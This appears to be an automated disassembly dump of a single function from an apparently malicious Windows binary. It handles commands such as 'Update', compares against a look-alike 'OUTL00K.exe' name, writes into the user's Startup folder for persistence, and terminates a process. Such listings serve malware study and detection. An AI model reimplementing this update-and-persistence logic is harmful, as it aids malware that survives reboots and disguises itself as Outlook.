Function at 0x140003930
Capabilities:
Get session user name
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x170]
sub rsp, 0x270
mov rax, qword [0x14004c070]
xor rax, rsp
mov qword [rbp + 0x160], rax
mov r15, r8
mov rdi, rcx
lea rdx, [0x140045d50]
call fcn.140011304
mov rsi, rax
test rax, rax
je 0x140003d64
mov ecx, esi
sub ecx, edi
movsxd rbx, ecx
mov r8, rbx
mov rdx, rdi
lea rcx, [rbp - 0x60]
call fcn.1400115d0
cmp rbx, 0x14
jae 0x140003dac
mov byte [rbp + rbx - 0x60], 0
xor r14d, r14d
mov ecx, r14d
lea rdx, [rbp - 0x60]
lea r8, str.data
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140003d2a
cmp rcx, 5
jne 0x1400039b0
add rsi, 3
lea rdx, [0x140045ddc]
mov rcx, rsi
call fcn.140011304
mov r15, rax
mov ecx, 0x64
call fcn.14000facc
mov rdi, rax
mov ecx, r15d
sub ecx, esi
movsxd rbx, ecx
mov r8, rbx
mov rdx, rsi
mov rcx, rax
call fcn.14001c2d0
mov byte [rbx + rdi], r14b
mov rcx, r14
lea rdx, str.Update
nop
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x140003d84
cmp rcx, 7
jne 0x140003a10
lea rsi, [r15 + 1]
lea rdx, [0x140045ddc]
mov rcx, rsi
call fcn.140011304
mov r15, rax
mov ebx, eax
sub ebx, esi
mov ecx, 0x64
call fcn.14000facc
mov rdi, rax
movsxd rbx, ebx
mov r8, rbx
mov rdx, rsi
mov rcx, rax
call fcn.14001c2d0
mov byte [rbx + rdi], r14b
lea rdx, str.OUTL00K.exe
mov rcx, rdi
call fcn.140035600
test eax, eax
jne 0x140003d84
mov dword [rsp + 0x58], 0x64
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rax, [0x14004f3b0]
cmp qword [0x14004f3c8], 0x10
cmovae rax, qword [0x14004f3b0]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x40]
lea r8, str.C:Users_sAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_s
mov edx, 0x12c
lea rcx, [rbp + 0x30]
call fcn.140002000
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
lea rax, [rbp + 0x30]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r14b
jne 0x140003ae3
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.140001b20
nop
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.140003dd0
nop
mov ecx, 0x64
call fcn.14000facc
mov rsi, rax
lea rdi, [r15 + 1]
lea rdx, [0x140045ddc]
mov rcx, rdi
call fcn.140011304
sub eax, edi
movsxd rbx, eax
mov r8, rbx
mov rdx, rdi
mov rcx, rsi
call fcn.14001c2d0
mov byte [rbx + rsi], 0
lea r8, [rbp - 0x80]
mov r15, qword [rbp - 0x68]
cmp r15, 0x10
setae r9b
mov rdi, qword [rbp - 0x80]
cmovae r8, rdi
sub r8, rsi
nop dword [rax]
movzx ecx, byte [rsi]
movzx eax, byte [rsi + r8]
sub ecx, eax
jne 0x140003b73
inc rsi
test eax, eax
jne 0x140003b60
test ecx, ecx
je 0x140003caf
lea rdx, [0x14004f3b0]
lea rcx, [rsp + 0x38]
call fcn.1400092c0
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140003b9c
mov rcx, qword [rax]
call fcn.1400046a0
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140003bf6
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140003bf1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003db2
mov rcx, r8
call fcn.14000fa98
mov ecx, 0x10
mov eax, 0xf
mov rdx, rbx
mov qword [rbx + rcx], r14
mov qword [rbx + 0x18], rax
mov byte [rbx], 0
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rcx, qword [rsp + 0x60]
call fcn.1400187e8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
cmp r15, 0x10
jb 0x140003c68
lea rdx, [r15 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140003c5f
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003db8
mov rcx, rdi
call fcn.14000fa98
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140003ca5
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ca0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003dbe
call fcn.14000fa98
mov eax, 2
jmp 0x140003d86
test r9b, r9b
je 0x140003ce6
lea rdx, [r15 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140003cdd
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003db8
mov rcx, rdi
call fcn.14000fa98
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140003d23
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d1e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003dbe
call fcn.14000fa98
mov eax, 3
jmp 0x140003d86
lea rdx, [rbp - 0x60]
lea r8, str.check
nop word [rax + rax]
movzx eax, byte [rdx + r14]
inc r14
cmp al, byte [r8 + r14 - 1]
jne 0x140003d84
cmp r14, 6
jne 0x140003d40
mov edx, 0x12c
mov rcx, r15
call fcn.140002000
jmp 0x140003d84
lea r8, str.cmd_format_error_
mov edx, 0x12c
mov rcx, r15
call fcn.140002000
lea rcx, str.cmd_format_error__n
call fcn.140001f40
xor eax, eax
mov rcx, qword [rbp + 0x160]
xor rcx, rsp
call fcn.14000f550
mov rbx, qword [rsp + 0x2a8]
add rsp, 0x270
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.14000f678
nop
call fcn.1400173fc
nop
call fcn.1400173fc
nop
call fcn.1400173fc
int3